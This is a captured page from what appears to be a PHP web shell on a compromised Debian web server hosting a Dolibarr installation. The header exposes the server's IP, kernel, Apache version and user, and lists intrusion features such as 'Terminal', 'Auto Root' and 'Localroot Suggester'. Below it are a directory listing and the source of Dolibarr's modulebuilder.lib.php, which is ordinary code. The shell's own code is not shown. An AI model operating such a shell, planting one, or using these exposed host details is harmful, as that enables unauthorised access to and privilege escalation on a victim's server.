Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
bdc.bdcloud.fr /
core /
lib /
Delete
Unzip
Name
Size
Permission
Date
Action
accounting.lib.php
9.25
KB
-rwxr-x---
2023-04-04 15:51
admin.lib.php
70.36
KB
-rwxr-x---
2023-04-04 15:51
agenda.lib.php
18.63
KB
-rwxr-x---
2023-04-04 15:51
ajax.lib.php
33.87
KB
-rwxr-x---
2023-04-04 15:51
asset.lib.php
7.47
KB
-rwxr-x---
2023-04-04 15:51
bank.lib.php
14.13
KB
-rwxr-x---
2023-04-04 15:51
barcode.lib.php
15.26
KB
-rwxr-x---
2023-04-04 15:51
categories.lib.php
3.7
KB
-rwxr-x---
2023-04-04 15:51
company.lib.php
85.29
KB
-rwxr-x---
2023-04-04 15:51
contact.lib.php
10.35
KB
-rwxr-x---
2023-04-04 15:51
contract.lib.php
5.49
KB
-rwxr-x---
2023-04-04 15:51
cron.lib.php
5.06
KB
-rwxr-x---
2023-04-04 15:51
date.lib.php
39.33
KB
-rwxr-x---
2023-04-04 15:51
doc.lib.php
6.72
KB
-rwxr-x---
2023-04-04 15:51
doleditor.lib.php
3.93
KB
-rwxr-x---
2023-04-04 15:51
donation.lib.php
3.99
KB
-rwxr-x---
2023-04-04 15:51
ecm.lib.php
6.22
KB
-rwxr-x---
2023-04-04 15:51
emailing.lib.php
2.25
KB
-rwxr-x---
2023-04-04 15:51
eventorganization.lib.php
2.21
KB
-rwxr-x---
2023-04-04 15:51
expedition.lib.php
4.68
KB
-rwxr-x---
2023-04-04 15:51
expensereport.lib.php
6.08
KB
-rwxr-x---
2023-04-04 15:51
fichinter.lib.php
7.07
KB
-rwxr-x---
2023-04-04 15:51
files.lib.php
129.41
KB
-rwxr-x---
2023-04-04 15:51
fiscalyear.lib.php
1.86
KB
-rwxr-x---
2023-04-04 15:51
format_cards.lib.php
2.8
KB
-rwxr-x---
2023-04-04 15:51
fourn.lib.php
11.6
KB
-rwxr-x---
2023-04-04 15:51
ftp.lib.php
8.9
KB
-rwxr-x---
2023-04-04 15:51
functions_ch.lib.php
3.66
KB
-rwxr-x---
2023-04-04 15:51
functionsnumtoword.lib.php
9.97
KB
-rwxr-x---
2023-04-04 15:51
geturl.lib.php
15.24
KB
-rwxr-x---
2023-04-04 15:51
holiday.lib.php
3.87
KB
-rwxr-x---
2023-04-04 15:51
hrm.lib.php
3.14
KB
-rwxr-x---
2023-04-04 15:51
images.lib.php
25.34
KB
-rwxr-x---
2023-04-04 15:51
import.lib.php
1.89
KB
-rwxr-x---
2023-04-04 15:51
intracommreport.lib.php
2.59
KB
-rwxr-x---
2023-04-04 15:51
invoice.lib.php
46.19
KB
-rwxr-x---
2023-04-04 15:51
invoice2.lib.php
9.16
KB
-rwxr-x---
2023-04-04 15:51
ldap.lib.php
5.35
KB
-rwxr-x---
2023-04-04 15:51
loan.lib.php
5.35
KB
-rwxr-x---
2023-04-04 15:51
mailmanspip.lib.php
1.24
KB
-rwxr-x---
2023-04-04 15:50
member.lib.php
11.25
KB
-rwxr-x---
2023-04-04 15:50
memory.lib.php
9.91
KB
-rwxr-x---
2023-04-04 15:50
modulebuilder.lib.php
14.86
KB
-rwxr-x---
2023-04-04 15:50
multicurrency.lib.php
2.07
KB
-rwxr-x---
2023-04-04 15:50
oauth.lib.php
7.66
KB
-rwxr-x---
2023-04-04 15:50
order.lib.php
10.44
KB
-rwxr-x---
2023-04-04 15:50
parsemd.lib.php
2.54
KB
-rwxr-x---
2023-04-04 15:50
payments.lib.php
18.4
KB
-rwxr-x---
2023-04-04 15:50
pdf.lib.php
108.47
KB
-rwxr-x---
2023-04-04 15:50
phpsessionindb.lib.php
8.28
KB
-rwxr-x---
2023-04-04 15:50
prelevement.lib.php
3.23
KB
-rwxr-x---
2023-04-04 15:50
price.lib.php
21.69
KB
-rwxr-x---
2023-04-04 15:50
product.lib.php
27.36
KB
-rwxr-x---
2023-04-04 15:50
propal.lib.php
9.96
KB
-rwxr-x---
2023-04-04 15:50
receiptprinter.lib.php
2.19
KB
-rwxr-x---
2023-04-04 15:50
reception.lib.php
5.36
KB
-rwxr-x---
2023-04-04 15:50
report.lib.php
3.84
KB
-rwxr-x---
2023-04-04 15:50
resource.lib.php
4.8
KB
-rwxr-x---
2023-04-04 15:50
salaries.lib.php
3.65
KB
-rwxr-x---
2023-04-04 15:50
security2.lib.php
20.74
KB
-rwxr-x---
2023-04-04 15:50
sendings.lib.php
16.61
KB
-rwxr-x---
2023-04-04 15:50
signature.lib.php
5.49
KB
-rwxr-x---
2023-04-04 15:50
stock.lib.php
4.81
KB
-rwxr-x---
2023-04-04 15:50
supplier_proposal.lib.php
5.57
KB
-rwxr-x---
2023-04-04 15:50
takepos.lib.php
2.31
KB
-rwxr-x---
2023-04-04 15:50
tax.lib.php
58.33
KB
-rwxr-x---
2023-04-04 15:50
ticket.lib.php
9.43
KB
-rwxr-x---
2023-04-04 15:50
treeview.lib.php
9.23
KB
-rwxr-x---
2023-04-04 15:50
trip.lib.php
1.98
KB
-rwxr-x---
2023-04-04 15:50
usergroups.lib.php
50.81
KB
-rwxr-x---
2023-04-04 15:50
vat.lib.php
2.6
KB
-rwxr-x---
2023-04-04 15:50
website.lib.php
55.86
KB
-rwxr-x---
2023-04-04 15:50
website2.lib.php
29.23
KB
-rwxr-x---
2023-04-04 15:50
ws.lib.php
3.34
KB
-rwxr-x---
2023-04-04 15:50
xcal.lib.php
17.16
KB
-rwxr-x---
2023-04-04 15:50
Save
Rename
<?php /* Copyright (C) 2009-2010 Laurent Destailleur <eldy@users.sourceforge.net> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. * or see https://www.gnu.org/ */ /** * \file htdocs/core/lib/modulebuilder.lib.php * \brief Set of function for modulebuilder management */ /** * Regenerate files .class.php * * @param string $destdir Directory * @param string $module Module name * @param string $objectname Name of object * @param string $newmask New mask * @param string $readdir Directory source (use $destdir when not defined) * @param string $addfieldentry Array of 1 field entry to add array('key'=>,'type'=>,''label'=>,'visible'=>,'enabled'=>,'position'=>,'notnull'=>','index'=>,'searchall'=>,'comment'=>,'help'=>,'isameasure') * @param string $delfieldentry Id of field to remove * @return int|object <=0 if KO, Object if OK * @see rebuildObjectSql() */ function rebuildObjectClass($destdir, $module, $objectname, $newmask, $readdir = '', $addfieldentry = array(), $delfieldentry = '') { global $db, $langs; if (empty($objectname)) { return -6; } if (empty($readdir)) { $readdir = $destdir; } if (!empty($addfieldentry['arrayofkeyval']) && !is_array($addfieldentry['arrayofkeyval'])) { dol_print_error('', 'Bad parameter addfieldentry with a property arrayofkeyval defined but that is not an array.'); return -7; } $error = 0; // Check parameters if (is_array($addfieldentry) && count($addfieldentry) > 0) { if (empty($addfieldentry['name'])) { setEventMessages($langs->trans('ErrorFieldRequired', $langs->transnoentitiesnoconv("Name")), null, 'errors'); return -2; } if (empty($addfieldentry['label'])) { setEventMessages($langs->trans('ErrorFieldRequired', $langs->transnoentitiesnoconv("Label")), null, 'errors'); return -2; } if (!preg_match('/^(integer|price|sellist|varchar|double|text|html|duration)/', $addfieldentry['type']) && !preg_match('/^(boolean|smallint|real|date|datetime|timestamp|phone|mail|url|ip|password)$/', $addfieldentry['type'])) { setEventMessages($langs->trans('BadValueForType', $addfieldentry['type']), null, 'errors'); return -2; } } $pathoffiletoeditsrc = $readdir.'/class/'.strtolower($objectname).'.class.php'; $pathoffiletoedittarget = $destdir.'/class/'.strtolower($objectname).'.class.php'.($readdir != $destdir ? '.new' : ''); if (!dol_is_file($pathoffiletoeditsrc)) { $langs->load("errors"); setEventMessages($langs->trans("ErrorFileNotFound", $pathoffiletoeditsrc), null, 'errors'); return -3; } //$pathoffiletoedittmp=$destdir.'/class/'.strtolower($objectname).'.class.php.tmp'; //dol_delete_file($pathoffiletoedittmp, 0, 1, 1); try { include_once $pathoffiletoeditsrc; if (class_exists($objectname)) { $object = new $objectname($db); } else { return -4; } // Backup old file dol_copy($pathoffiletoedittarget, $pathoffiletoedittarget.'.back', $newmask, 1); // Edit class files $contentclass = file_get_contents(dol_osencode($pathoffiletoeditsrc), 'r'); // Update ->fields (to add or remove entries defined into $addfieldentry) if (count($object->fields)) { if (is_array($addfieldentry) && count($addfieldentry)) { $name = $addfieldentry['name']; unset($addfieldentry['name']); $object->fields[$name] = $addfieldentry; } if (!empty($delfieldentry)) { $name = $delfieldentry; unset($object->fields[$name]); } } dol_sort_array($object->fields, 'position'); $i = 0; $texttoinsert = '// BEGIN MODULEBUILDER PROPERTIES'."\n"; $texttoinsert .= "\t".'/**'."\n"; $texttoinsert .= "\t".' * @var array Array with all fields and their property. Do not use it as a static var. It may be modified by constructor.'."\n"; $texttoinsert .= "\t".' */'."\n"; $texttoinsert .= "\t".'public $fields=array('."\n"; if (count($object->fields)) { foreach ($object->fields as $key => $val) { $i++; $texttoinsert .= "\t\t'".$key."' => array('type'=>'".$val['type']."',"; $texttoinsert .= " 'label'=>'".$val['label']."',"; if (!empty($val['picto'])) { $texttoinsert .= " 'picto'=>'".$val['picto']."',"; } $texttoinsert .= " 'enabled'=>'".($val['enabled'] !== '' ? $val['enabled'] : 1)."',"; $texttoinsert .= " 'position'=>".($val['position'] !== '' ? $val['position'] : 50).","; $texttoinsert .= " 'notnull'=>".(empty($val['notnull']) ? 0 : $val['notnull']).","; $texttoinsert .= " 'visible'=>".($val['visible'] !== '' ? $val['visible'] : -1).","; if (!empty($val['noteditable'])) { $texttoinsert .= " 'noteditable'=>'".$val['noteditable']."',"; } if (!empty($val['alwayseditable'])) { $texttoinsert .= " 'alwayseditable'=>'".$val['alwayseditable']."',"; } if (!empty($val['default']) || (isset($val['default']) && $val['default'] === '0')) { $texttoinsert .= " 'default'=>'".$val['default']."',"; } if (!empty($val['index'])) { $texttoinsert .= " 'index'=>".$val['index'].","; } if (!empty($val['foreignkey'])) { $texttoinsert .= " 'foreignkey'=>'".$val['foreignkey']."',"; } if (!empty($val['searchall'])) { $texttoinsert .= " 'searchall'=>".$val['searchall'].","; } if (!empty($val['isameasure'])) { $texttoinsert .= " 'isameasure'=>'".$val['isameasure']."',"; } if (!empty($val['css'])) { $texttoinsert .= " 'css'=>'".$val['css']."',"; } if (!empty($val['cssview'])) { $texttoinsert .= " 'cssview'=>'".$val['cssview']."',"; } if (!empty($val['csslist'])) { $texttoinsert .= " 'csslist'=>'".$val['csslist']."',"; } if (!empty($val['help'])) { $texttoinsert .= " 'help'=>\"".preg_replace('/"/', '', $val['help'])."\","; } if (!empty($val['showoncombobox'])) { $texttoinsert .= " 'showoncombobox'=>'".$val['showoncombobox']."',"; } if (!empty($val['disabled'])) { $texttoinsert .= " 'disabled'=>'".$val['disabled']."',"; } if (!empty($val['autofocusoncreate'])) { $texttoinsert .= " 'autofocusoncreate'=>'".$val['autofocusoncreate']."',"; } if (!empty($val['arrayofkeyval'])) { $texttoinsert .= " 'arrayofkeyval'=>array("; $i = 0; foreach ($val['arrayofkeyval'] as $key2 => $val2) { if ($i) { $texttoinsert .= ", "; } $texttoinsert .= "'".$key2."'=>'".$val2."'"; $i++; } $texttoinsert .= "),"; } if (!empty($val['validate'])) { $texttoinsert .= " 'validate'=>'".$val['validate']."',"; } if (!empty($val['comment'])) { $texttoinsert .= " 'comment'=>\"".preg_replace('/"/', '', $val['comment'])."\""; } $texttoinsert .= "),\n"; //print $texttoinsert; } } $texttoinsert .= "\t".');'."\n"; //print ($texttoinsert);exit; if (count($object->fields)) { //$typetotypephp=array('integer'=>'integer', 'duration'=>'integer', 'varchar'=>'string'); foreach ($object->fields as $key => $val) { $i++; //$typephp=$typetotypephp[$val['type']]; $texttoinsert .= "\t".'public $'.$key.";"; //if ($key == 'rowid') $texttoinsert.= ' AUTO_INCREMENT PRIMARY KEY'; //if ($key == 'entity') $texttoinsert.= ' DEFAULT 1'; //$texttoinsert.= ($val['notnull']?' NOT NULL':''); //if ($i < count($object->fields)) $texttoinsert.=";"; $texttoinsert .= "\n"; } } $texttoinsert .= "\t".'// END MODULEBUILDER PROPERTIES'; //print($texttoinsert); $contentclass = preg_replace('/\/\/ BEGIN MODULEBUILDER PROPERTIES.*END MODULEBUILDER PROPERTIES/ims', $texttoinsert, $contentclass); //print $contentclass; dol_mkdir(dirname($pathoffiletoedittarget)); //file_put_contents($pathoffiletoedittmp, $contentclass); $result = file_put_contents(dol_osencode($pathoffiletoedittarget), $contentclass); if ($result) { @chmod($pathoffiletoedittarget, octdec($newmask)); } else { $error++; } return $error ? -1 : $object; } catch (Exception $e) { print $e->getMessage(); return -5; } } /** * Save data into a memory area shared by all users, all sessions on server * * @param string $destdir Directory * @param string $module Module name * @param string $objectname Name of object * @param string $newmask New mask * @param string $readdir Directory source (use $destdir when not defined) * @param Object $object If object was already loaded/known, it is pass to avoid another include and new. * @param string $moduletype 'external' or 'internal' * @return int <=0 if KO, >0 if OK * @see rebuildObjectClass() */ function rebuildObjectSql($destdir, $module, $objectname, $newmask, $readdir = '', $object = null, $moduletype = 'external') { global $db, $langs; $error = 0; if (empty($objectname)) { return -1; } if (empty($readdir)) { $readdir = $destdir; } $pathoffiletoclasssrc = $readdir.'/class/'.strtolower($objectname).'.class.php'; // Edit .sql file if ($moduletype == 'internal') { $pathoffiletoeditsrc = '/../install/mysql/tables/llx_'.strtolower($module).'_'.strtolower($objectname).'.sql'; if (! dol_is_file($readdir.$pathoffiletoeditsrc)) { $pathoffiletoeditsrc = '/../install/mysql/tables/llx_'.strtolower($module).'_'.strtolower($objectname).'-'.strtolower($module).'.sql'; if (! dol_is_file($readdir.$pathoffiletoeditsrc)) { $pathoffiletoeditsrc = '/../install/mysql/tables/llx_'.strtolower($module).'-'.strtolower($module).'.sql'; if (! dol_is_file($readdir.$pathoffiletoeditsrc)) { $pathoffiletoeditsrc = '/../install/mysql/tables/llx_'.strtolower($module).'.sql'; } } } } else { $pathoffiletoeditsrc = '/sql/llx_'.strtolower($module).'_'.strtolower($objectname).'.sql'; if (! dol_is_file($readdir.$pathoffiletoeditsrc)) { $pathoffiletoeditsrc = '/sql/llx_'.strtolower($module).'_'.strtolower($objectname).'-'.strtolower($module).'.sql'; if (! dol_is_file($readdir.$pathoffiletoeditsrc)) { $pathoffiletoeditsrc = '/sql/llx_'.strtolower($module).'-'.strtolower($module).'.sql'; if (! dol_is_file($readdir.$pathoffiletoeditsrc)) { $pathoffiletoeditsrc = '/sql/llx_'.strtolower($module).'.sql'; } } } } // Complete path to be full path $pathoffiletoedittarget = $destdir.$pathoffiletoeditsrc.($readdir != $destdir ? '.new' : ''); $pathoffiletoeditsrc = $readdir.$pathoffiletoeditsrc; if (!dol_is_file($pathoffiletoeditsrc)) { $langs->load("errors"); setEventMessages($langs->trans("ErrorFileNotFound", $pathoffiletoeditsrc), null, 'errors'); return -1; } // Load object from myobject.class.php try { if (!is_object($object)) { include_once $pathoffiletoclasssrc; if (class_exists($objectname)) { $object = new $objectname($db); } else { return -1; } } } catch (Exception $e) { print $e->getMessage(); } // Backup old file dol_copy($pathoffiletoedittarget, $pathoffiletoedittarget.'.back', $newmask, 1); $contentsql = file_get_contents(dol_osencode($pathoffiletoeditsrc), 'r'); $i = 0; $texttoinsert = '-- BEGIN MODULEBUILDER FIELDS'."\n"; if (count($object->fields)) { foreach ($object->fields as $key => $val) { $i++; $type = $val['type']; $type = preg_replace('/:.*$/', '', $type); // For case type = 'integer:Societe:societe/class/societe.class.php' if ($type == 'html') { $type = 'text'; // html modulebuilder type is a text type in database } elseif ($type == 'price') { $type = 'double'; // html modulebuilder type is a text type in database } elseif (in_array($type, array('link', 'sellist', 'duration'))) { $type = 'integer'; } $texttoinsert .= "\t".$key." ".$type; if ($key == 'rowid') { $texttoinsert .= ' AUTO_INCREMENT PRIMARY KEY'; } elseif ($type == 'timestamp') { $texttoinsert .= ' DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP'; } if ($key == 'entity') { $texttoinsert .= ' DEFAULT 1'; } else { if (!empty($val['default'])) { if (preg_match('/^null$/i', $val['default'])) { $texttoinsert .= " DEFAULT NULL"; } elseif (preg_match('/varchar/', $type)) { $texttoinsert .= " DEFAULT '".$db->escape($val['default'])."'"; } else { $texttoinsert .= (($val['default'] > 0) ? ' DEFAULT '.$val['default'] : ''); } } } $texttoinsert .= ((!empty($val['notnull']) && $val['notnull'] > 0) ? ' NOT NULL' : ''); if ($i < count($object->fields)) { $texttoinsert .= ", "; } $texttoinsert .= "\n"; } } $texttoinsert .= "\t".'-- END MODULEBUILDER FIELDS'; $contentsql = preg_replace('/-- BEGIN MODULEBUILDER FIELDS.*END MODULEBUILDER FIELDS/ims', $texttoinsert, $contentsql); $result = file_put_contents($pathoffiletoedittarget, $contentsql); if ($result) { @chmod($pathoffiletoedittarget, octdec($newmask)); } else { $error++; setEventMessages($langs->trans("ErrorFailToCreateFile", $pathoffiletoedittarget), null, 'errors'); } // Edit .key.sql file $pathoffiletoeditsrc = preg_replace('/\.sql$/', '.key.sql', $pathoffiletoeditsrc); $pathoffiletoedittarget = preg_replace('/\.sql$/', '.key.sql', $pathoffiletoedittarget); $pathoffiletoedittarget = preg_replace('/\.sql.new$/', '.key.sql.new', $pathoffiletoedittarget); $contentsql = file_get_contents(dol_osencode($pathoffiletoeditsrc), 'r'); $i = 0; $texttoinsert = '-- BEGIN MODULEBUILDER INDEXES'."\n"; if (count($object->fields)) { foreach ($object->fields as $key => $val) { $i++; if (!empty($val['index'])) { $texttoinsert .= "ALTER TABLE llx_".strtolower($module).'_'.strtolower($objectname)." ADD INDEX idx_".strtolower($module).'_'.strtolower($objectname)."_".$key." (".$key.");"; $texttoinsert .= "\n"; } if (!empty($val['foreignkey'])) { $tmp = explode('.', $val['foreignkey']); if (!empty($tmp[0]) && !empty($tmp[1])) { $texttoinsert .= "ALTER TABLE llx_".strtolower($module).'_'.strtolower($objectname)." ADD CONSTRAINT llx_".strtolower($module).'_'.strtolower($objectname)."_".$key." FOREIGN KEY (".$key.") REFERENCES llx_".preg_replace('/^llx_/', '', $tmp[0])."(".$tmp[1].");"; $texttoinsert .= "\n"; } } } } $texttoinsert .= '-- END MODULEBUILDER INDEXES'; $contentsql = preg_replace('/-- BEGIN MODULEBUILDER INDEXES.*END MODULEBUILDER INDEXES/ims', $texttoinsert, $contentsql); dol_mkdir(dirname($pathoffiletoedittarget)); $result2 = file_put_contents($pathoffiletoedittarget, $contentsql); if ($result2) { @chmod($pathoffiletoedittarget, octdec($newmask)); } else { $error++; setEventMessages($langs->trans("ErrorFailToCreateFile", $pathoffiletoedittarget), null, 'errors'); } return $error ? -1 : 1; }